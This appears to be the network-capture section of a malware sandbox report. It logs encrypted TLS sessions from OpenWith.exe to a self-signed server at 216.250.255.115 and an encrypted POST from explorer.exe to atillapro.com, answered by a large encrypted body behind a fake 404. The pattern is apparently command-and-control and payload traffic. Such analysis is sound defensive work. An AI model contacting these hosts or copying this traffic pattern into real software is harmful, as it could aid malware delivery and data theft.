Apr 10, 2024 10:23:08.621773958 CEST	130	IN	Data Raw: 61 e3 54 8c d7 2f be 38 07 9c f4 e9 ce e1 43 cf 2f a5 03 ad e9 02 e5 00 41 e8 07 79 10 96 2f d5 18 f7 8d 16 79 dd 8c ef 46 ca df b3 b1 9a 17 50 4e ca fe f8 2b e6 d1 83 71 c2 9c 1a 59 a7 58 0e 38 18 28 09 bb 38 b4 ee ec 0b 30 83 82 08 b1 b7 7e 94 Data Ascii: aT/8C/Ay/yFPN+qYX8(80~gIpae"#Tt~w
Apr 10, 2024 10:23:08.654510975 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 eb 96 b0 d8 81 de 28 59 58 dd 50 14 49 67 9d cd 67 2e 09 bd 45 1d f5 9b 5f 79 60 9d 88 4c 5d a1 0d e3 51 68 38 e4 71 e5 ed 53 b9 56 e6 ed 8a db 16 3b 0a bd 61 43 12 df 03 d2 ff 3d 21 1c ea 5d 3a 00 1f ed 52 6d Data Ascii: (YXPIgg.E_y`L]Qh8qSV;aC=!]:Rm^dGH]-g6-91Vgbz>NxT[+7 1hYJ-,r.Sva8
Apr 10, 2024 10:23:08.819257975 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 65 d0 37 40 4e ab 82 57 23 48 21 d0 b2 8a fc da 45 38 3f 66 c1 65 6c d1 9a 27 45 43 67 94 df a7 Data Ascii: e7@NW#H!E8?fel'ECg
Apr 10, 2024 10:23:08.827788115 CEST	582	OUT	Data Raw: 17 03 03 02 41 0d ce 46 1f 67 ec f8 7b 12 2d 31 92 0a 49 94 79 f8 8d bc 5e 89 bb ac bf d9 27 eb c5 93 77 7d f3 21 1b c3 22 e1 32 6f dd ec 8b 4f 69 f0 18 df 30 f9 e3 9f 98 ab 65 9b 22 cb 1b 87 fd 85 f9 66 6c a5 ad a6 fc a4 07 0d ed 8b ff 6c 32 bd Data Ascii: AFg{-1Iy^'w}!"2oOi0e"fll2!\v1q"y&Uo3U!J[jPUvs\BR,7($~*f{jd^-{?+8){k,qvAg^,\$5oah7 E\|C
Apr 10, 2024 10:23:09.026762009 CEST	1208	IN	Data Raw: 17 03 03 04 b3 a7 18 a5 b1 02 b0 b8 70 dd b2 e3 e9 22 da 68 ad 4d 5f 65 49 16 b8 3b 36 1a e4 70 c8 78 a1 55 94 cb d1 5a 8c 40 43 bc 7e de 89 60 d3 95 35 73 55 62 57 93 7d af 52 df a4 c2 da 12 13 db 06 25 d9 e6 f3 9c b9 ab a6 a6 a3 b2 06 b2 1c 61 Data Ascii: p"hM_eI;6pxUZ@C~`5sUbW}R%ah:[%40;9W\|$z7xJPSell-UNj}yIg8PB2RI1HJEt%I$H\|2AuDkhOKilQL3u@o=fRu&
Apr 10, 2024 10:23:09.026779890 CEST	1289	IN	Data Raw: 17 03 03 09 56 33 d6 07 6c 9a ef e3 de 93 72 f0 fa e3 a4 a8 a1 94 0e 3f 5d fe c4 6f 69 d8 76 b2 e9 58 0a f9 eb 41 35 43 44 74 29 73 da dd 7e 36 6c e0 83 0d 76 06 6b 7f ba b3 a2 1a 64 cc 90 f8 62 fb 9c db 55 9c e1 66 9a 51 a1 c7 ae c8 72 fb 72 58 Data Ascii: V3lr?]oivXA5CDt)s~6lvkdbUfQrrX<ZE$55=#\@M:{N\xQ1pwyS:!U91Bh9Giz7R=~a:m.7-\|;eH)K+w9J8Giy\|`&e
Apr 10, 2024 10:23:09.026793003 CEST	1106	IN	Data Raw: 05 c1 25 93 75 6e 5a 58 c0 6c bf c2 e0 11 cb 66 cc 52 49 53 79 a8 46 b1 b1 72 0a aa b2 0f bc 2e 9d 4d 3b e0 fc c6 c1 59 9c 16 57 d5 65 a8 13 90 39 dc 8f bd 27 5a ae f5 ba 47 86 ef 56 ad 92 b4 0b 37 56 d6 c0 01 e6 2b aa 53 5e 58 3d a3 70 75 0d 06 Data Ascii: %unZXlfRISyFr.M;YWe9'ZGV7V+S^X=puPQ8H4cD+IACaZ~@F#r'7Bxn:1Y9J@s*:M<Pyhr.kgBVPF-5 $6.~
Apr 10, 2024 10:23:09.026806116 CEST	556	IN	Data Raw: 17 03 03 02 27 64 95 22 f5 0d 6b 3a 6e 8e a4 61 c5 31 24 a0 9f 73 5e 6e b4 2d 71 c4 19 85 b9 87 99 13 d4 52 2c 1f 21 61 93 12 91 23 8d 3c 81 c2 28 32 0d aa 43 ea e7 9a 75 94 9e 9e 67 35 a5 03 9d b2 43 eb a3 a5 c4 e9 17 c4 ed 35 a9 81 a8 b2 7e af Data Ascii: 'd"k:na1$s^n-qR,!a#<(2Cug5C5~XQo2DCDxF7+ENXd@32&#LGE.;HZ%!W}7Yx-viM'*e4/7Vycy/h/8?l\f\0%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	216.250.255.115	80	6412	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:23:22.144330978 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c 79 9e 1d 49 00 9c 32 20 77 7b 08 84 d8 f6 00 a3 a3 5a c1 db d2 8d 2a d9 69 4f 8a 02 4f 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLyI2 w{ZiOOP,0$(k9+/#'g3=52.&</1)-%H#
Apr 10, 2024 10:23:22.309036016 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 f9 48 e8 f1 40 e7 28 f5 36 f6 46 d0 98 49 bb 54 52 52 d5 38 69 a3 11 4f e3 2c 62 65 06 33 b1 76 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73H@(6FITRR8iO,be3v00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:23:22.309051037 CEST	130	IN	Data Raw: f4 70 4b eb 9d 55 be 90 ff 08 51 ce 78 56 3e 1b f0 3e a0 fa 88 dc 25 85 c5 41 35 ef 8e 99 61 4d ab 1c 9d 48 48 00 24 8b 65 41 d1 e1 ae 37 81 13 b6 0d 33 4e 1c ac 21 a8 25 01 41 f4 c1 8d d3 21 dd be e6 25 82 a0 0e 5b 65 8a 2c be 6c e7 f0 2f 06 4d Data Ascii: pKUQxV>>%A5aMHH$eA73N!%A!%[e,l/M=s`0Bgh!+!0[P
Apr 10, 2024 10:23:22.317362070 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 c4 b3 7f cb 30 e9 ef 4f 6e 51 3b eb ed 25 60 eb 90 9e 1a 8b b6 20 8f 46 25 4f 1e 5e c3 49 38 1a 6e 5a 1d f8 76 6d 53 a1 74 d0 ac c7 a7 88 21 c4 7e b2 07 b1 28 d2 05 c8 18 1c 4a 43 39 a9 1d 49 47 01 04 cd 8c 29 Data Ascii: 0OnQ;%` F%O^I8nZvmSt!~(JC9IG)C)JE%0}_Z*\.F]x+O"uvj 6O,^S9]<Y:8zI&;f
Apr 10, 2024 10:23:22.491261005 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 11 2e 04 2d 8d 1b b7 09 95 8c 50 fb 54 9c 3a 45 02 29 2e 36 71 c2 33 5b f1 8a 90 b9 db 3f 43 f2 Data Ascii: .-PT:E).6q3[?C
Apr 10, 2024 10:23:22.491607904 CEST	542	OUT	Data Raw: 17 03 03 02 19 a3 be ba 4a c5 e9 0b 71 0e 19 61 0b 5c 2d 1f f1 2d d1 82 41 82 58 3d 52 ca 71 08 fa d0 71 30 64 7b 26 61 ba 18 4b 17 16 b3 f1 89 2e d2 5b ff fa 66 ae a5 2e 42 8f 2f 51 5f ea e4 f8 72 b4 1b 2f 1c 77 a4 e4 ae 2c cd 29 0f b5 67 ba 1a Data Ascii: Jqa\--AX=Rqq0d{&aK.[f.B/Q_r/w,)gs@D+%Qh:n(Eyl@Yw>y=~Dit=n)Yj5H[{Q8e*ouop+PD<Dr.\|`g
Apr 10, 2024 10:23:22.651559114 CEST	177	IN	Data Raw: 17 03 03 00 ac 18 6a 21 2e 4b 17 52 b1 03 dc 9c e0 be 0d c4 d9 12 0d 85 c7 e5 26 3c 35 7a de e2 35 10 f1 e9 08 89 e6 6c aa 6d 7d 84 4d 0f 53 76 19 78 7b 1c fb f0 8b 3a e2 a3 cf 7d 9a b2 fb 9c 95 45 da e1 76 ee c3 e8 a8 d0 eb dc 8a 25 bf 90 1c 51 Data Ascii: j!.KR&<5z5lm}MSvx{:}Ev%QL$hHk`gG"W@@)d`rS:MD<<.]>C+ s=]7R`vT4
Apr 10, 2024 10:23:22.653930902 CEST	27	OUT	Data Raw: 17 03 03 00 16 ff 4b fe 05 f6 2d 85 99 4a a8 ca e5 a3 76 07 c3 9e 9d ab 81 34 b1 Data Ascii: K-Jv4
Apr 10, 2024 10:23:22.856584072 CEST	142	OUT	Data Raw: 17 03 03 00 89 27 68 68 7e 5b 50 84 7b f1 6a 94 d3 df 7a c7 8d 61 71 c7 e7 24 73 18 34 dd 7c 8e 63 99 54 24 46 d4 5b 5a e3 12 69 6d ef bc 7f 16 b7 a9 bf c2 0f f5 14 19 62 d4 67 71 ac 26 3c 05 79 1d e4 f9 03 8d e3 d6 b5 04 7b 13 48 ec 14 d7 a4 c4 Data Ascii: 'hh~[P{jzaq$s4\|cT$F[Zimbgq&<y{H43VLAl\qY;!.BV2o];Lx$uJ\|A7*d^^3
Apr 10, 2024 10:23:23.016652107 CEST	119	IN	Data Raw: 17 03 03 00 72 c0 92 83 43 97 7c e9 d1 41 1e ca 1d dc d9 1e 17 07 a7 72 4f 2b cc 96 1c 42 7b 1e dc da 56 b3 89 dc 1a 00 f6 4c 2e 5e 91 f6 50 e8 4e 33 73 2d e5 ff 8d d8 48 c3 22 0b f3 02 77 6a 9a ef d7 8b a3 a3 2b 90 5e 90 2e 7f 57 a1 d0 45 1e 31 Data Ascii: rC\|ArO+B{VL.^PN3s-H"wj+^.WE1DB82i9$/xipZV>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	216.250.255.115	80	6412	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:23:30.426153898 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c 81 b8 00 8a fa f1 e7 64 fd 78 e7 e5 38 cd 13 24 74 6a 8a 10 f7 49 f1 10 9e a7 21 e6 2c 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLdx8$tjI!,P,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:23:30.592288017 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 06 80 21 9d 15 fc 06 0a 08 01 cb 22 a6 6b dd cd 9e f7 56 8a 9c 1e d5 e0 70 4a b8 c9 67 0c 39 30 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73!"kVpJg9000A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:23:30.592304945 CEST	130	IN	Data Raw: f9 60 62 0e 68 b0 f4 9b e9 aa 9b ba 3a 5a b3 47 6f 81 ce b5 27 2c fb d7 b8 96 cb 26 56 1f 0b 70 7a 6a 38 4f 38 03 20 00 d3 9b 76 9d df 3e 18 d5 32 fa 39 a2 6c 14 4f fb 8e 58 89 83 d1 b1 36 58 93 f2 00 44 79 8e d8 83 15 76 d6 aa 3b e5 26 bb ae fe Data Ascii: `bh:ZGo',&Vpzj8O8 v>29lOX6XDyv;&/gZcRV*[iNY~]8XZzfZr K~
Apr 10, 2024 10:23:30.603909969 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 c4 39 de 31 56 80 9b 90 05 06 fb 1d 09 66 f4 4c ae d3 79 57 df 0a 16 a3 5c 60 74 80 d8 94 0a 22 5b f7 13 95 d2 ac 27 f3 44 67 16 3a 9a e5 9a 0e 78 02 6d be b3 11 68 de 65 8b a4 ff c4 f1 c8 58 44 01 37 55 d3 7c Data Ascii: 91VfLyW\`t"['Dg:xmheXD7U\|qmf6[m2}.aa, Xv{Dp#INKg] ke.yFJn-3PP.C
Apr 10, 2024 10:23:30.777885914 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 19 64 4e 9e 9e ba d3 56 64 53 98 03 13 75 81 b6 7c 5b 6f 6b 61 22 98 df ae a6 2d f2 b9 c4 cd 98 Data Ascii: dNVdSu\|[oka"-
Apr 10, 2024 10:23:30.778217077 CEST	542	OUT	Data Raw: 17 03 03 02 19 4c 28 a3 7d 77 bf a8 13 a7 9f db af 66 10 7a b0 80 8f ca 15 42 a6 3a 8d b7 0d 3a 13 b6 77 70 be dc 6d 2e 95 c5 13 6e 88 9c a7 d9 3d e4 00 43 48 59 1f e7 d9 a9 df cc 2c bc 72 2b 8e cf 17 ca b8 81 88 fe d2 bd ec 4f d8 d0 89 49 0f 7e Data Ascii: L(}wfzB::wpm.n=CHY,r+OI~LG~W)@g~+Mp ;Ht7KIl]%/?cQ Sc,vEl-..Bn07APK,q)HI'7XM83^
Apr 10, 2024 10:23:30.937974930 CEST	177	IN	Data Raw: 17 03 03 00 ac f8 fc 4b 58 06 b1 35 fe 6e 78 72 5b d4 f0 80 dd 3c 87 b9 d2 ae 74 be 5c 72 f6 05 d0 63 1f 3b e2 d8 d3 95 f1 48 93 da 5d 60 14 53 cb e5 43 6d e1 59 f9 22 21 db 8c 9a c8 3e 1c 2e 71 6f 77 c5 21 e8 aa 95 67 33 a9 14 6b 32 98 a0 64 7b Data Ascii: KX5nxr[<t\rc;H]`SCmY"!>.qow!g3k2d{c^jf\|,OG_D<N@(wW=R,9Dx0/X8CA2
Apr 10, 2024 10:23:30.941534042 CEST	27	OUT	Data Raw: 17 03 03 00 16 5f 92 95 06 cd 18 e1 52 76 43 a8 29 b8 ef 4a 35 87 a2 ec 51 b6 73 Data Ascii: _RvC)J5Qs
Apr 10, 2024 10:23:31.101222038 CEST	135	OUT	Data Raw: 17 03 03 00 82 2f c8 02 20 ff 6d 84 a0 8a 12 8e ef 23 44 2a 65 53 07 2e c0 c0 7d 59 26 ca f3 c3 0b ec 88 a4 df b6 16 9f bb 7e 5f 0e 66 0f fb 3a b6 65 bd b7 24 15 4e 06 f1 4d 9f 05 c8 43 c6 1f 4a f2 b4 37 8e 26 d8 3e c2 81 1d e5 7c 3f ce e9 75 f1 Data Ascii: / m#D*eS.}Y&~_f:e$NMCJ7&>\|?u/\|t>IZfpMqKIL{Ss
Apr 10, 2024 10:23:31.261182070 CEST	119	IN	Data Raw: 17 03 03 00 72 c1 8b 61 b3 68 17 3b c6 ba f3 57 d2 49 ed 4c f2 01 a0 d0 32 8f 3e 48 1a ee 37 1f 2c 33 70 ae 13 9a 8a 33 26 c8 c8 81 ed f8 e1 9f 4c c7 06 16 37 e8 3e 41 7c 57 35 5e 9a 87 26 87 7d e4 9e 2f c1 23 aa 1c cc ac b1 da 1a 02 e2 fd 90 28 Data Ascii: rah;WIL2>H7,3p3&L7>A\|W5^&}/#(L;H2wYU}?Cj!d~eKr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	216.250.255.115	80	6412	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:23:38.565448046 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c 89 d3 e3 cb f5 45 9d a8 82 74 c7 45 98 a4 25 a6 45 7a 54 46 1d 05 b9 46 d3 ff b7 ca 0a 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLEtE%EzTFFP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:23:38.731389046 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 86 a8 ab a1 93 21 ea 11 2a 1a 48 37 fa 1d a8 54 fe 5a 3e 76 cc 01 36 38 b6 23 2e 84 ed 5c da fc 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73!H7TZ>v68#.\00A`.eVhe0H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:23:38.731410027 CEST	130	IN	Data Raw: 0a 47 e0 c0 a9 c6 a2 ed 86 24 4b f7 8a ae 2a d4 6e bb 9a 79 26 2c 9a 88 0d cb 0a ae 2b 60 fd 4a 19 64 0f 70 86 87 aa a2 b4 87 58 a7 28 c8 30 48 a7 9a e5 46 51 f9 09 d6 1f 63 21 fc 42 fd e6 c8 e5 6c 0e 2a e2 2f 2c e2 19 c7 e3 e0 23 33 e3 68 3e d3 Data Ascii: G$Kny&,+`JdpX(0HFQc!Bl/,#3h>h*oD4N2Dq)~dn1#;X?\
Apr 10, 2024 10:23:38.739789963 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 25 2b 79 71 94 33 ad 52 23 51 49 09 53 c6 4a a9 8c 0b ec a3 58 bf 3d 95 4e 95 3a 67 80 e8 86 9e 2f 70 cc 48 20 0c 4c a0 5e 27 ab be 3f 1b af 3f d3 aa 17 f6 89 40 fd 2f 1e 35 39 34 00 14 0b 91 ec 00 1c 1f bb 68 Data Ascii: %+yq3R#QISJX=N:g/pH L^'??@/594h%xmCW}J@5)S!H,,Vx.F+3}5UD3 U{1@L;Od
Apr 10, 2024 10:23:38.906210899 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 44 63 a0 58 f5 ff be 00 0f 47 93 24 f0 d2 f6 3c d8 ce ad fd f6 6e 17 03 6e 60 3d cc f6 2c 0f ba Data Ascii: DcXG$<nn`=,
Apr 10, 2024 10:23:38.906543016 CEST	542	OUT	Data Raw: 17 03 03 02 19 9d 94 5c 14 c7 90 71 95 fe 34 2e 52 ad 19 8c 78 a2 d1 ce 74 53 fd b8 08 97 89 4f 63 f2 56 a3 e6 cb 27 73 9d 32 5a e7 06 40 66 f6 e7 a8 54 75 71 c1 a9 2d e9 1a 10 f6 6b 50 b3 28 46 69 bd 35 ab fe 1d 5b d9 e9 09 65 73 0a 94 6d 9c 68 Data Ascii: \q4.RxtSOcV's2Z@fTuq-kP(Fi5[esmh~VXJ\46p =f+sW1E&P)2g7#'<6wH:E{bDq\|IQc^;v5Pwu+6;-v2T
Apr 10, 2024 10:23:39.066221952 CEST	177	IN	Data Raw: 17 03 03 00 ac 16 c9 d0 7e 91 34 34 52 1c 68 99 38 aa 5e 3d 40 6c f9 0c 55 4d 1d c8 24 28 0e ed 26 aa 8b 62 9e 56 10 f2 40 d3 a5 73 d8 a6 cc c0 c8 d5 9c 8a 70 9d 96 d2 50 b3 f7 a9 c0 ba 33 c4 40 30 ef 5b f8 03 c2 2a 15 2f e9 47 2a 0b cf ae ab 6a Data Ascii: ~44Rh8^=@lUM$(&bV@spP3@0[/GjOpD)?q,we),*qs5AeVCa,cnq2j'e
Apr 10, 2024 10:23:39.068866014 CEST	27	OUT	Data Raw: 17 03 03 00 16 4c e0 00 b0 c3 07 4c 4c 2c 80 7d 35 02 4f ed 3e fd 94 76 ed a6 2f Data Ascii: LLL,}5O>v/
Apr 10, 2024 10:23:39.232244968 CEST	128	OUT	Data Raw: 17 03 03 00 7b 9e cc 68 5e 6d 0d ab 5a b6 aa 94 4f 39 63 7d c2 09 52 48 e8 8b 62 48 da ac a6 0a 98 aa 91 a0 ac df 3f d7 eb 50 68 fb 7f 98 47 4e d2 d5 5d 60 f6 b2 6e 6f 55 d0 7c ec b0 9b e9 d9 ae 31 98 f2 6f ef bf b3 b3 b1 5a 51 74 b7 47 92 2f ae Data Ascii: {h^mZO9c}RHbH?PhGN]`noU\|1oZQtG/-CIi#p~)WCJ5hwU*c
Apr 10, 2024 10:23:39.392210960 CEST	119	IN	Data Raw: 17 03 03 00 72 b2 51 82 2c 6a 88 36 ab 6f c3 d3 e3 e0 4e 03 39 b0 59 3a 0a a9 4a 96 dd 83 ea 4b 14 f7 a2 86 c2 e6 82 ac 8e 1e 37 15 ef 70 4b 27 46 52 20 03 2d c8 31 db 61 8d a0 78 02 d9 58 f0 0c 97 2d fd e9 ae 2e e2 14 8a be 23 b1 78 52 92 d9 9b Data Ascii: rQ,j6oN9Y:JK7pK'FR -1axX-.#xR'ANpkTl\&%/hJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	185.196.8.137	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:06.633209944 CEST	266	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pxiisjuf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: atillapro.com
Apr 10, 2024 10:24:06.633224964 CEST	265	OUT	Data Raw: 0d 3c f3 fb 4a 3c 20 a0 06 19 b6 4b 87 55 7a bc 09 70 0a de 0a 5b fd 7c 86 cc 83 58 49 7d 5a 98 b0 20 2d 56 e2 cd 9d 31 f6 78 11 20 fb 20 88 de d9 7f 06 f3 00 55 60 c9 74 0d 18 ee df e5 3b 71 81 2e f5 d0 3a 51 bf 61 ba 1f 28 d0 8c 3c c8 6d 6a 11 Data Ascii: <J< KUzp[\|XI}Z -V1x U`t;q.:Qa(<mjCAVr(v{i@S3U)?'~2z-.=NFr'B2>6E)cnDt7vkE?vHk6)v'+w^dTJtO(%^},#8CNYf.gpeU%Cfzwc\|
Apr 10, 2024 10:24:06.845118999 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:06 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 36 31 62 33 39 0d 0a 6a 00 00 00 b8 28 14 57 2d e6 eb 90 4b eb f7 84 fc 11 c5 0d 74 dc f3 21 b8 df 7a cd 44 92 db 0b c4 43 88 88 d1 dd 2c 8c f8 94 3c 5a 0f 2b 88 fe 76 12 7f c0 09 1a e7 30 0b 48 62 37 bf 2a 3f be a4 73 e2 69 56 4e f4 7e 4c 81 65 4d 7c 56 1f 60 69 bb f3 0b c9 04 19 18 71 dc bd 82 9e 13 43 0c 10 a2 62 5b 67 25 8b ad cc 2b e9 7c 6d 70 00 ca 1a 06 00 1e 14 5a 68 09 09 06 00 09 00 9e 03 00 00 c9 af 4b 06 fd b7 e4 cf 75 1b fc fb 41 03 50 00 0d 86 9d 19 b2 92 4f 19 b2 66 40 79 bf 3c e0 e9 a8 07 97 29 55 ed 4f 8a 5d 83 99 58 79 32 ff 29 50 7a 91 ac 48 c1 33 62 c9 4e a5 df a2 8f 11 d8 b8 ec 45 8e 46 e1 7e 91 7f 98 62 f6 28 fe b2 ef da d8 10 c5 ff 00 0e 53 22 7c a0 e3 92 a3 70 fd 5d 0f 52 61 f9 c4 d2 17 e6 bc 78 13 d6 a5 f4 42 10 56 ec 33 3e 1f 4a e0 b2 1b 12 46 e3 67 fd a4 64 e6 19 c4 0e 9f 2d 91 d7 3d b5 4a ac 58 89 77 c1 59 82 ca 6a f1 43 50 16 3c 22 65 91 35 06 2b e0 38 9e ec 17 4d 01 fc d3 b1 3a 8d 7a cf 52 3d 1e 3d d9 09 38 1e 50 74 d3 ed 04 56 14 99 05 87 4e dc 28 ac df 22 87 14 18 ef 02 bd 97 f1 c5 58 03 17 2e 1f a3 37 4d a2 2a 95 37 54 b8 d5 e2 25 58 34 57 11 7f 80 1b 16 41 be 1b 15 2f 69 41 96 8c 75 c6 e6 d9 ab 5d 87 3f af 49 d0 b8 f5 51 f9 b4 8f 00 7b 6a 03 c2 44 69 5e 4c a2 28 19 bd d0 2e dd 92 ee 0a 01 dc fb 60 24 2e 76 18 9e c9 05 d1 35 2d 94 ad 83 ae 13 04 78 c9 09 e5 f8 61 2d d1 27 e3 80 5e 01 aa 27 14 82 2a 34 0b f0 73 1a e1 e2 01 23 43 55 8a 87 49 fd 32 c1 86 f3 a9 63 10 ff be b8 b1 ea 98 20 53 53 ae 5e ac f3 34 32 5b ce 28 48 27 42 41 29 4e 77 cb ff fc bd 65 d1 41 26 81 70 15 2d a7 59 73 cb 21 51 aa f7 fe 99 14 6d 69 1f 8d 6f c5 c0 b5 11 0c 89 30 88 13 42 93 b4 a9 05 1b 69 8f 68 4b fd 30 bd 1b c8 dc d0 ed e0 43 74 92 45 bc a1 44 a6 22 7c 34 56 0b b6 5f 93 58 d7 a6 69 34 95 b6 cd 06 5c 2b ac b3 1b 76 2a 5e 38 2a 37 9c 78 97 50 6a c1 2c 79 48 b1 3c 2b c4 e2 90 7b 37 db b3 e8 7a 34 5a f2 e7 d6 02 57 cc e3 68 0f 34 71 6a f1 ec 15 94 be ca 61 9f 3e 18 bd 12 de d8 5b 23 55 45 69 fd fb ea a3 29 1d 7c 02 57 7d 61 34 b1 a4 fa ea 18 25 e2 25 e7 b0 c6 8c ad 37 53 23 21 c0 8a 66 56 9e 29 9f ad 05 a5 d6 9a f6 66 43 19 81 07 71 78 55 b2 e8 74 b7 4c 69 76 69 f6 06 e7 8b c4 aa a5 86 dc 07 7c 4c e4 b2 33 1e 15 5a 19 1e 05 18 03 bb ff 31 ef b3 1d a6 1b 4d 97 43 6f 7c 64 fb ea 65 33 28 6a 0d db 5c 4e ca 3a 69 e1 94 e0 50 a3 23 83 f3 1e 68 74 83 16 c8 36 34 65 39 22 e1 02 bd 70 63 61 09 06 92 82 ac aa 5d d6 cf 0f 2c f7 33 68 3a 56 04 5c f0 d2 f8 10 4f 69 6a b7 8b 45 49 84 7a ad f8 fb 88 82 71 5a 8b 5f 2f db 2b 4a 14 ec 1b db 0a 6f 16 d3 ab a0 a7 17 54 e0 00 c1 56 71 c8 76 25 57 1a fd e1 53 41 ab d0 dd 70 f5 d0 1e e8 e8 35 82 7f 35 d6 40 2c 9f fc f2 3d be 7d 2e 67 d1 bd 30 76 f4 4f 0e 1a ce 1b 6e a0 20 14 90 a2 77 bb 6f 2a 1f b7 b0 17 3a cb 49 69 2c 4a 62 fd 93 27 18 0e 86 db 9c f8 9b 0c ee 06 fd 3c af 6e f6 a1 3b fc 0a f6 5c c1 65 0a 76 21 65 3a b6 e7 f2 c1 11 af 13 ca 76 c9 04 da 24 28 cf 87 33 56 23 92 f2 aa db 09 d6 ce 1a a2 d2 17 bf 79 34 3a 00 3c 40 62 58 38 cc 2d ad 3c d9 ed 64 44 6e be 6e fa bc b3 e8 94 58 30 3c 6f 9d aa 24 82 29 33 36 96 24 24 d7 54 54 f6 1d 94 16 b2 3e e0 ff f6 e2 4a 14 9c 55 54 45 c2 88 27 aa c9 97 72 44 ad 4f 10 ef 72 da d2 d6 18 b2 cf cb d0 31 89 a4 42 f6 07 b4 64 6d 59 e1 a9 8d 0a 04 2f 16 3b bf 38 99 d0 31 63 80 23 Data Ascii: 61b39j(W-Kt!zDC,<Z+v0Hb7?siVN~LeM\|V`iqCb[g%+\|mpZhKuAPOf@y<)UO]Xy2)PzH3bNEF~b(S"\|p]RaxBV3>JFgd-=JXwYjCP<"e5+8M:zR==8PtVN("X.7M7T%X4WA/iAu]?IQ{jDi^L(.`$.v5-xa-'^'4s#CUI2c SS^42[(H'BA)NweA&p-Ys!Qmio0BihK0CtED"\|4V_Xi4\+v^87xPj,yH<+{7z4ZWh4qja>[#UEi)\|W}a4%%7S#!fV)fCqxUtLivi\|L3Z1MCo\|de3(j\N:iP#ht64e9"pca],3h:V\OijEIzqZ_/+JoTVqv%WSAp55@,=}.g0vOn wo:Ii,Jb'<n;\ev!e:v$(3V#y4:<@bX8-<dDnnX0<o$)36$$TT>JUTE'rDOr1BdmY/;81c#
Apr 10, 2024 10:24:06.845141888 CEST	1289	IN	Data Raw: 2b de dd 27 96 e0 b9 e0 77 c1 d2 7e 50 fc c2 0e a2 7e 57 20 53 d1 22 ee 88 62 0f e6 3b d0 45 04 c6 cd d9 8e 20 cb 32 64 0d 4b a5 55 4b 20 f9 21 db fe 71 0b cc a0 87 18 2c 3d 5c 80 9e 58 c6 d5 95 3f e7 b6 f5 52 83 4b 87 07 7e 88 37 19 cf 88 6e 6b Data Ascii: +'w~P~W S"b;E 2dKUK !q,=\X?RK~7nkk0Y4;ys&-2(hgSuuhh2qfw'`"Y9:e>"8+v3)=A_AZ+?[<e)\LR4oy5QYh4W~v=]
